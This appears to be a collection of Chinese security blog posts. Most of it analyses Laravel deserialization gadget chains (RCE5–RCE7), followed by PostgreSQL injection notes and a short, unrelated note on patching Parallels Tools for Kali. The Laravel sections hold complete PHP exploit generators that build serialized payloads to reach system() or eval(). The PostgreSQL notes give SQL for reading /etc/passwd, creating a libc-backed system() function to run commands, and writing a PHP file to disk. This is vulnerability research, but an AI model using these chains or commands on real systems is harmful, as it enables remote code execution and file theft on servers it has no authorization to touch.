protected $event;

function __construct($events, $event)
{
$this->events = $events;
$this->event = $event;
}
}
}


namespace Illuminate\Validation
{
class Validator
{
public $extensions;

function __construct($function)
{
$this->extensions = ['' => $function];
}
}
}

namespace{
$validator = new Illuminate\Validation\Validator("system");
$o = new Illuminate\Broadcasting\PendingBroadcast($validator, "dir");
echo urlencode(serialize($o));
}

RCE5

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

起始点还是一样,思路也差不多,找到可利用类存在dispatch方法,然后调用任意类的任意方法。这里找到src/Illuminate/Bus/Dispatcher.phpdispatch方法,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第64-77行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
/**
* Dispatch a command to its appropriate handler.
*
* @param mixed $command
* @return mixed
*/
public function dispatch($command)
{
if ($this->queueResolver && $this->commandShouldBeQueued($command)) {
return $this->dispatchToQueue($command);
}

return $this->dispatchNow($command);
}

返回值分两种情况,首先看看第一种进入dispatchToQueue方法。需要两个条件都满足,跟进commandShouldBeQueued方法。

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第127-136行:

1
2
3
4
5
6
7
8
9
10
/**
* Determine if the given command should be queued.
*
* @param mixed $command
* @return bool
*/
protected function commandShouldBeQueued($command)
{
return $command instanceof ShouldQueue;
}

说明 command也就是起始类中传入的this->event需要是ShouldQueue的实例,查看实现其接口的类。
vendor/laravel/framework/src/Illuminate/Contracts/Queue/ShouldQueue.php

1
2
3
4
5
6
7
8
<?php

namespace Illuminate\Contracts\Queue;

interface ShouldQueue
{
//
}

我们找到src/Illuminate/Broadcasting/BroadcastEvent.php,该类实现了上述接口。第24-33行:

1
2
3
4
5
6
7
8
9
10
/**
* Create a new job handler instance.
*
* @param mixed $event
* @return void
*/
public function __construct($event)
{
$this->event = $event;
}

结合dispatchToQueue函数的实现,vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第138-161行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

可以知道BroadcastEvent.php$event是我们可以控制的,也就是说dispatchToQueue中的$connection也是可控的。

接下来分析dispatchToQueue函数实现中,call_user_func($this->queueResolver, $connection)的第一个参数$this->queueResolver。找到一个可以实现RCE的函数,其中vendor/mockery/mockery/library/Mockery/Loader/EvalLoader.php/EvalLoader中存在eval函数,第26-36行:

1
2
3
4
5
6
7
8
9
10
11
class EvalLoader implements Loader
{
public function load(MockDefinition $definition)
{
if (class_exists($definition->getClassName(), false)) {
return;
}

eval("?>" . $definition->getCode());
}
}

call_user_func函数在第一个参数为数组的时候,第一个参数就是我们选择的类,第二个参数是类下的方法;所以这里直接去到EvalLoader类,去执行load方法从而调用到eval函数;$this->queueResolver = [new \Mockery\Loader\EvalLoader(), ‘load’];(这里需要通过无参数的构造方法传入我们想要利用的函数)。load方法里的参数必须是MockDefinition的实例,即$connection必须是MockDefinition的实例。

vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
<?php
/**
* Mockery
*
* LICENSE
*
* This source file is subject to the new BSD license that is bundled
* with this package in the file LICENSE.txt.
* It is also available through the world-wide-web at this URL:
* http://github.com/padraic/mockery/blob/master/LICENSE
* If you did not receive a copy of the license and are unable to
* obtain it through the world-wide-web, please send an email
* to padraic@php.net so we can send you a copy immediately.
*
* @category Mockery
* @package Mockery
* @copyright Copyright (c) 2010 Pádraic Brady (http://blog.astrumfutura.com)
* @license http://github.com/padraic/mockery/blob/master/LICENSE New BSD License
*/

namespace Mockery\Generator;

class MockDefinition
{
protected $config;
protected $code;

public function __construct(MockConfiguration $config, $code)
{
if (!$config->getName()) {
throw new \InvalidArgumentException("MockConfiguration must contain a name");
}
$this->config = $config;
$this->code = $code;
}

public function getConfig()
{
return $this->config;
}

public function getClassName()
{
return $this->config->getName();
}

public function getCode()
{
return $this->code;
}
}

if (class_exists($definition->getClassName(), false))必须为false才会触发eval方法。看下getClassName函数;这里的config是可控的,所以我们直接找到一个存在getName方法并且可控该方法的类;全局搜索下找到MockConfiguration.php`可以实现。

vendor/mockery/mockery/library/Mockery/Generator/MockDefinition.php/MockDefinition第417-420行:

1
2
3
4
public function getName()
{
return $this->name;
}

因为最后是要经过class_exists函数的判断,所以我们可以直接控制其返回一个不存在的类,就会造成false从而进入eval方法;eval执行的参数getcode()返回值即code变量我们可控,进而可以完成命令执行;

EXP1

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
<?php
namespace Illuminate\Bus {
class Dispatcher {
protected $queueResolver;

function __construct()
{
$this->queueResolver = [new \Mockery\Loader\EvalLoader(), 'load'];
}
}
}

namespace Illuminate\Broadcasting {
class PendingBroadcast {
protected $events;
protected $event;

function __construct($evilCode)
{
$this->events = new \Illuminate\Bus\Dispatcher();
$this->event = new BroadcastEvent($evilCode);
}
}

class BroadcastEvent {
public $connection;

function __construct($evilCode)
{
$this->connection = new \Mockery\Generator\MockDefinition($evilCode);
}

}
}

namespace Mockery\Loader {
class EvalLoader {}
}

namespace Mockery\Generator {
class MockDefinition {
protected $config;
protected $code;

function __construct($evilCode)
{
$this->code = $evilCode;
$this->config = new MockConfiguration();
}
}

class MockConfiguration {
protected $name = 'abcdefg';
}
}

namespace{
$code = '<?php ' . 'phpinfo();' . ' exit; ?>';
$a = new Illuminate\Broadcasting\PendingBroadcast($code);
echo serialize($a);
echo urlencode(serialize($a));
}

EXP2

本exp所在测试环境为PHP7.0.9+Laravel5.5.28。

回头再看vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php第138-161行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
/**
* Dispatch a command to its appropriate handler behind a queue.
*
* @param mixed $command
* @return mixed
*
* @throws \RuntimeException
*/
public function dispatchToQueue($command)
{
$connection = $command->connection ?? null;

$queue = call_user_func($this->queueResolver, $connection);

if (! $queue instanceof Queue) {
throw new RuntimeException('Queue resolver did not return a Queue implementation.');
}

if (method_exists($command, 'queue')) {
return $command->queue($queue, $command);
}

return $this->pushCommandToQueue($queue, $command);
}

call_user_func也是可以直接控制进行命令执行的。最终的exp如下:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
<?php

namespace Illuminate\Broadcasting{

use Illuminate\Contracts\Events\Dispatcher;

class PendingBroadcast
{
protected $event;
protected $events;
public function __construct($events, $event)
{
$this->event = $event;
$this->events = $events;
}
}
}
namespace Illuminate\Bus{
class Dispatcher
{
protected $queueResolver;
public function __construct($queueResolver)
{
$this->queueResolver = $queueResolver;
}

}
}
namespace Illuminate\Broadcasting{
class BroadcastEvent
{
public $connection;
public function __construct($connection)
{
$this->connection = $connection;
}
}
}
namespace{
$c = new Illuminate\Broadcasting\BroadcastEvent('dir');
$a = new Illuminate\Bus\Dispatcher('system');
$b = new Illuminate\Broadcasting\PendingBroadcast($a,$c);
echo urlencode(serialize($b));
}

RCE6

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

EXP

RCE6类似RCE5,比较利用链发现RCE6只是多了vendor/laravel/framework/src/Illuminate/Support/MessageBag.php/MessageBag类的定义。查看文档可知:Laravel 中的Illuminate\Support\MessageBag是一个负责存储 、分类和返回最终用户消息的类。没太搞明白作用,调试了好几遍没看到有啥差别。

RCE7

分析这条链的Laravel版本为8.16.1

环境搭建过程如下:

1
composer create-project --prefer-dist laravel/laravel laravel "8.*"

修改composer.json文件,将laravel/framework指定版本为` “laravel/framework”: “8.16.1”。然后执行:

1
composer update

创建路由的时候,与之前的略有不同,如下:

1
Route::get('/', [DemoController::class, 'demo']);

入口类

vendor/laravel/framework/src/Illuminate/Broadcasting/PendingBroadcast.php/PendingBroadcast

RCE调用类

vendor/laravel/framework/src/Illuminate/Bus/Dispatcher.php

Bus/Dispatcher.php第68-79行:

1
2
3
4
5
6
7
8
9
10
11
12
/**
* Dispatch a command to its appropriate handler.
*
* @param mixed $command
* @return mixed
*/
public function dispatch($command)
{
return $this->queueResolver && $this->commandShouldBeQueued($command)
? $this->dispatchToQueue($command)
: $this->dispatchNow($command);
}

该版本的dispatch实现和RCE5分析中dispatch略有不同,不影响利用链的构造。该版本ShouldQueue实现类又新增了一个类,也就是CallQueuedClosure类。

vendor/laravel/framework/src/Illuminate/Queue/CallQueuedClosure.php

Queue/CallQueueClosure第14-48行:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
class CallQueuedClosure implements ShouldQueue
{
use Batchable, Dispatchable, InteractsWithQueue, Queueable, SerializesModels;

/**
* The serializable Closure instance.
*
* @var \Illuminate\Queue\SerializableClosure
*/
public $closure;

/**
* The callbacks that should be executed on failure.
*
* @var array
*/
public $failureCallbacks = [];

/**
* Indicate if the job should be deleted when models are missing.
*
* @var bool
*/
public $deleteWhenMissingModels = true;

/**
* Create a new job instance.
*
* @param \Illuminate\Queue\SerializableClosure $closure
* @return void
*/
public function __construct(SerializableClosure $closure)
{
$this->closure = $closure;
}

这里同样也是两个参数可控,和RCE5所示大同小异。

EXP

本exp所在测试环境为PHP7.3.9+Laravel8.16.1。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
<?php

namespace Illuminate\Broadcasting
{
class PendingBroadcast
{
protected $events;
protected $event;

public function __construct($function, $parameter)
{
$this->events = new \Illuminate\Bus\Dispatcher($function);
$this->event = new \Illuminate\Queue\CallQueuedClosure($parameter);
}
}
}

namespace Illuminate\Bus
{
class Dispatcher
{
protected $queueResolver;

public function __construct($function)
{
$this->queueResolver = $function;

}
}
}

namespace Illuminate\Queue
{
class CallQueuedClosure
{
protected $connection;

public function __construct($parameter)
{
$this->connection = $parameter;
}
}
}


namespace{
$b = new Illuminate\Broadcasting\PendingBroadcast("system","dir");
echo urlencode(serialize($b));
}

对PostgreSQL的基本操作和注入不是很了解,做一些笔记。

常用函数查看基本信息:

查看版本信息

1
SELECT version();

version

查看当前用户

1
SELECT current_user;

current_user

查看启动该sesson的用户

1
SELECT session_user;

sesesion_user

查看当前数据库

1
SELECT current_database();

current_database

PostgreSQL下的IF

1
2
3
4
5
6
CASE 
WHEN condition_1 THEN result_1
WHEN condition_2 THEN result_2
[WHEN ...]
[ELSE else_result]
END

case_when

读取文件

注意:需要Superuser权限,低版本pg_read_file不支持绝对路径,仅能读取data_directory目录下的文件。可以使用show data_directory获取路径。

data_directory

访问data_directory路径下的文件,使用相对路径也可。

data_directory3

  • 创建数据表把读到的文件copy入表:
1
2
3
4
drop table demo;
CREATE TABLE demo(t TEXT);
COPY demo FROM '/etc/passwd';
SELECT * FROM demo limit 1 offset 0;

结果如下所示:(读取一行)

data_directory2

  • 利用postgresql大对象处理来读文件
1
2
Select lo_import('/etc/passwd',12345678);
select array_agg(b)::text::int from(select encode(data,'hex')b,pageno from pg_largeobject where loid=12345678 order by pageno)a

结果如下所示:

data_directory4

  • 高版本直接利用pg_read_file读取文件:
1
SELECT pg_read_file(filepath+filename);

结果如下所示:

read_file

执行命令

Postgresql 8.2以下的版本直接调用/lib/libc.so.6或者/lib64/libc.so.6,可以执行命令:

1
2
3
create function system(cstring) returns int AS '/lib/libc.so.6', 'system' language C strict;
create function system(cstring) returns int AS '/lib64/libc.so.6', 'system' language C strict;
select system('id');

需要注意的是:Ubuntu中libc.so.6位于/lib/x86_64-linux-gnu目录下。高版本的系统存在安全机制无法 调用系统libc.sso.6,需要手动利用UDF进行命令执行。先查看postgresql支持的扩展语言:select * from pg_language; Postgresql默认支持C,可以自己编译so库去创建执行命令的函数利用。

当postgresql版本高于8.2存在安全机制无法调用系统libc.so.6所以需要自己利用UDF进行命令执行,具体参加下面参考文章。

写入文件

1
COPY (select '<?php phpinfo();?>') to '/tmp/1.php';

save

参考文章:

postgresql高版本UDF提权技巧

Hacking PostgreSQL

渗透中利用postgresql getshell

SQL Injection and Postgres - An adventure to eventual RCE

PostgreSQL injection

PostgreSQL for red teams

本人Mac安装的Paralles版本为16.1.3(49160)。安装的Kali内核版本为Linux kali 5.10.0-kali4-amd64 #1 SMP Debian 5.10.19-1kali1 (2021-03-03) x86_64 GNU/Linux。在给Kai虚拟机安装Parallels Tools的时候,出现如下错误:

这个问题的原因是Kali内核版本与Parallels Tools的版本不兼容。在此吐槽一下官方支持非常滞后,对Linux的支持烂透了。

在论坛上找到解决办法,需要patch Parallels Tools安装目录下的kmods中的某两个文件。具体可以参看具体patch文件。

我目前的版本适合的是kernel 5.9.1的patch。建议手工patch,具体修改内容参见patch文档。

patch完之后,需要将解压的文件重新打包为prl_mod.tar.gz,打包命令为tar -zcvf prl_mod.tar.gz.

参考链接:

Path for kernel 5.9.1

Tools Patch Procedure